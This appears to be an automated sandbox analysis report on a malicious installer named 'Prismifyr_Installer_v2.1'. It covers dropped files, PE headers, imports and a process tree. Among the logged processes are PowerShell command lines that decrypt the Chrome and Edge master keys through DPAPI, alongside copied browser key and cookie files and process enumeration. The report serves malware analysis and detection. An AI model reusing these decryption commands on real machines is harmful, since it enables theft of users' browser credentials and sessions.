SHA1:	D0EDD6E25D5C7B50C320794C956AE63A0012620A
SHA-256:	147327A853ADCEDDCF49A5CF07E7A727E87798F399E3AF5680909B640DE4DBE4
SHA-512:	B51B39808E961EAC513CD42E3B5030F0BF3268DC91DE4B3CC17B8B7C1C38B214935783E02204EE3F5BAECA0037B16BC23DC26DDDB6D9F9B3A970DE092D6415F4
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........."......f%......... C~........@............................. [...........`......................................... ........;..h.....H..........%I...........K.$&..............................(.....%.@...........0R.......b.......................text....e%......f%................. ..`.rdata........%......l%.............@..@.data.....H..0...>..................@....pdata...%I......&I..P..............@..@.gxfg....B....H..D...v..............@..@.retplne.....PH..........................rodata......`H..................... ..`.tls..........H.....................@...CPADinfo8.....H.....................@...LZMADEC.......H..................... ..`_RDATA........H.....................@..@malloc_h......H..................... ..`prot..........H.....................@..@.rsrc.........H.....................@..@.reloc..$&....K..(..................@..B................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Prismifyr_Installer_v2.1\54633697-022e-4588-852d-c3930e6e256f.tmp

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.684908476673266
Encrypted:	false
SSDEEP:
MD5:	D8C56FBC9A7AB67DE42D409FD61E44E3
SHA1:	BA918BD4190B107ECC367F1B6273D4554484BA00
SHA-256:	9ED07E74184B65EAC1E3167BC9BAD6E2963FBBD652690999A8BC36A1F4E74FD5
SHA-512:	BE8EA669ED4873222D368494CE4B8934BE9BC99BC735BAF753C11D8E9D799D60DF4FFD7C8465663A7011932F64097D3F640C7AEB6CEC4D263301D1A2C5329DA1
Malicious:	false
Preview:	{"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACLBPAJBcDFQazCtpAIsNeNEAAAABIAAABDAGgAcgBvAG0AaQB1AG0AAAAQZgAAAAEAACAAAAA8cH63+ToCsNIqNYi0JXV2gxxhRdFN8L8vUJL/jyWl/QAAAAAOgAAAAAIAACAAAAAj4tVh9/nNcoB+FVGZ1KUGQz+fZ2ah+O48/QRf6mXU6zAAAABEWwY1yrXW1yMf2zV+6BVU/5IxqsPuFXaJZ21OaUJ+XTZEIYK9Ow8dWwbgR+hmjBdAAAAAllvUS1YjtyPjz7GLGhlbB/0/JZvXpVXpVsHim9LhYFKq/Mrv4j0nXtUye8rFvZw/SgzzlqwECK9FQXVfFey+3Q=="}}

C:\Users\user\AppData\Roaming\Prismifyr_Installer_v2.1\Local State (copy)

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.684908476673266
Encrypted:	false
SSDEEP:
MD5:	D8C56FBC9A7AB67DE42D409FD61E44E3
SHA1:	BA918BD4190B107ECC367F1B6273D4554484BA00
SHA-256:	9ED07E74184B65EAC1E3167BC9BAD6E2963FBBD652690999A8BC36A1F4E74FD5
SHA-512:	BE8EA669ED4873222D368494CE4B8934BE9BC99BC735BAF753C11D8E9D799D60DF4FFD7C8465663A7011932F64097D3F640C7AEB6CEC4D263301D1A2C5329DA1
Malicious:	false
Preview:	{"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACLBPAJBcDFQazCtpAIsNeNEAAAABIAAABDAGgAcgBvAG0AaQB1AG0AAAAQZgAAAAEAACAAAAA8cH63+ToCsNIqNYi0JXV2gxxhRdFN8L8vUJL/jyWl/QAAAAAOgAAAAAIAACAAAAAj4tVh9/nNcoB+FVGZ1KUGQz+fZ2ah+O48/QRf6mXU6zAAAABEWwY1yrXW1yMf2zV+6BVU/5IxqsPuFXaJZ21OaUJ+XTZEIYK9Ow8dWwbgR+hmjBdAAAAAllvUS1YjtyPjz7GLGhlbB/0/JZvXpVXpVsHim9LhYFKq/Mrv4j0nXtUye8rFvZw/SgzzlqwECK9FQXVfFey+3Q=="}}

\Device\Null

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	93
Entropy (8bit):	4.271218378323433
Encrypted:	false
SSDEEP:
MD5:	D097D4A505F65CC2EE9D32FD7FD41B9D
SHA1:	219FE92E87A4735ED357B4930E6EEEB6C30FBEB6
SHA-256:	718466249FB3C0CB0685D9AAD717FD4B6B0CE66A95ECE85CF1384E4B8CB7F21F
SHA-512:	C2280016B7F27E28E0893B3E2AECCE764B54AB8CBB6BD5F50C8DD50955B48CEFE6C53575DEF33063B1CBC2EE8868C641DD86B1E86625ACED0AC5082C8E69B151
Malicious:	false
Preview:	'//' is not recognized as an internal or external command,..operable program or batch file...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.9999911163798085
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File size:	98'394'400 bytes
MD5:	fe0ddf8159f4a56d194f90e1fb31f3b2
SHA1:	adb5fcf6436b55cfd5391adc8e4d5725b2b1089b
SHA256:	753581951adf2c71ae3ddcd51b5badda3e91f16aa32d09596d24fa5397451fc2
SHA512:	9313e7f7102cb76ffc4a9d9a0f392b4301b1b855bc28f889500d98f7bbcbc69453b4b3bb3cd22a4a7eeeafb0c5ed856439eeddd17f37f0b5f48323e67ac2dd40
SSDEEP:	1572864:ue/WnMbJr6Riuuogr2EgnzW/CKRa2mppLXAm28sas4LJnLWV5iB/LowOMhPMFCmk:uJM1r6R5i6E4zWI2mp1AYTTSuB/aMhP9
TLSH:	2628333716C02974D4CC2F7AB6B4231B263D0FFFF9346C547A51A8E8054AFA62CD9589
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L......\.................h...8...@.

File Icon


Icon Hash:	159633695d1b9563

Static PE Info

General

Entrypoint:	0x40338f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C157F86 [Sat Dec 15 22:26:14 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b34f154ec913d2d2c435cbd644e91687

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A2E0h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080A8h]
call dword ptr [004080A4h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0047AEECh], eax
je 00007FA8950F6963h
push ebx
call 00007FA8950F9C15h
cmp eax, ebx
je 00007FA8950F6959h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007FA8950F9B8Fh
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007FA8950F693Ch
push 0000000Ah
call 00007FA8950F9BE8h
push 00000008h
call 00007FA8950F9BE1h
push 00000006h
mov dword ptr [0047AEE4h], eax
call 00007FA8950F9BD5h
cmp eax, ebx
je 00007FA8950F6961h
push 0000001Eh
call eax
test eax, eax
je 00007FA8950F6959h
or byte ptr [0047AEEFh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [0047AFB8h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 00440208h
call dword ptr [00408188h]
push 0040A2C8h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8610	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x19f000	0x1a200	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6627	0x6800	7618d4c0cd8bb67ea9595b4266b3a91f	False	0.6646259014423077	data	6.450282348506287	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x14a2	0x1600	eecac1fed9cc6b447d50940d178404d8	False	0.4405184659090909	data	5.025178929113415	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x70ff8	0x600	db8f31a08a2242d80c29e1f9500c6527	False	0.5182291666666666	data	4.037117731448378	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x7b000	0x124000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x19f000	0x1a200	0x1a200	1e425c651b7b1cf0b914100189aa0a1f	False	0.9367710825358851	data	7.871781011016036	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x19f4a8	0x17f76	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.0003667257502598
RT_DIALOG	0x1b7420	0x202	data	English	United States	0.4085603112840467
RT_DIALOG	0x1b7628	0xf8	data	English	United States	0.6290322580645161
RT_DIALOG	0x1b7720	0xee	data	English	United States	0.6260504201680672
RT_DIALOG	0x1b7810	0x1fa	data	English	United States	0.40118577075098816
RT_DIALOG	0x1b7a10	0xf0	data	English	United States	0.6666666666666666
RT_DIALOG	0x1b7b00	0xe6	data	English	United States	0.6565217391304348
RT_DIALOG	0x1b7be8	0x1ee	data	English	United States	0.38866396761133604
RT_DIALOG	0x1b7dd8	0xe4	data	English	United States	0.6447368421052632
RT_DIALOG	0x1b7ec0	0xda	data	English	United States	0.6422018348623854
RT_DIALOG	0x1b7fa0	0x1ee	data	English	United States	0.3866396761133603
RT_DIALOG	0x1b8190	0xe4	data	English	United States	0.6359649122807017
RT_DIALOG	0x1b8278	0xda	data	English	United States	0.6376146788990825
RT_DIALOG	0x1b8358	0x1f2	data	English	United States	0.39759036144578314
RT_DIALOG	0x1b8550	0xe8	data	English	United States	0.6508620689655172
RT_DIALOG	0x1b8638	0xde	data	English	United States	0.6486486486486487
RT_DIALOG	0x1b8718	0x202	data	English	United States	0.42217898832684825
RT_DIALOG	0x1b8920	0xf8	data	English	United States	0.6653225806451613
RT_DIALOG	0x1b8a18	0xee	data	English	United States	0.6512605042016807
RT_GROUP_ICON	0x1b8b08	0x14	Targa image data - Map 32 x 32630 x 1 +1	English	United States	1.05
RT_VERSION	0x1b8b20	0x2b8	COM executable for DOS	English	United States	0.40948275862068967
RT_MANIFEST	0x1b8dd8	0x423	XML 1.0 document, ASCII text, with very long lines (1059), with no line terminators	English	United States	0.5127478753541076

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, SetCurrentDirectoryW, GetFileAttributesW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, ExitProcess, GetShortPathNameW, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalLock, GlobalUnlock, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Target ID:	0
Start time:	06:02:13
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe"
Imagebase:	0x400000
File size:	98'394'400 bytes
MD5 hash:	FE0DDF8159F4A56D194F90E1FB31F3B2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:02:47
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe"
Imagebase:	0x7ff64d4f0000
File size:	186'389'504 bytes
MD5 hash:	F90856B824B429A51D390C25F21C9683
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	06:02:51
Start date:	24/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /d /s /c "tasklist /fo csv"
Imagebase:	0x7ff6f8a20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:02:51
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:02:53
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\Prismifyr_Installer_v2.1" --gpu-preferences=UAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2244,i,14912361022600860785,9095772362069922900,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2236 /prefetch:2
Imagebase:	0x7ff64d4f0000
File size:	186'389'504 bytes
MD5 hash:	F90856B824B429A51D390C25F21C9683
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	06:02:51
Start date:	24/10/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /fo csv
Imagebase:	0x7ff63a2b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:02:54
Start date:	24/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /d /s /c "tasklist"
Imagebase:	0x7ff6f8a20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:02:54
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:02:54
Start date:	24/10/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist
Imagebase:	0x7ff63a2b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:02:58
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\Prismifyr_Installer_v2.1" --field-trial-handle=2516,i,14912361022600860785,9095772362069922900,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2512 /prefetch:3
Imagebase:	0x7ff64d4f0000
File size:	186'389'504 bytes
MD5 hash:	F90856B824B429A51D390C25F21C9683
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	06:02:58
Start date:	24/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser')"
Imagebase:	0x7ff6f8a20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	06:02:58
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	06:02:58
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser')
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	06:03:02
Start date:	24/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'CurrentUser')"
Imagebase:	0x7ff6f8a20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	06:03:02
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	06:03:02
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
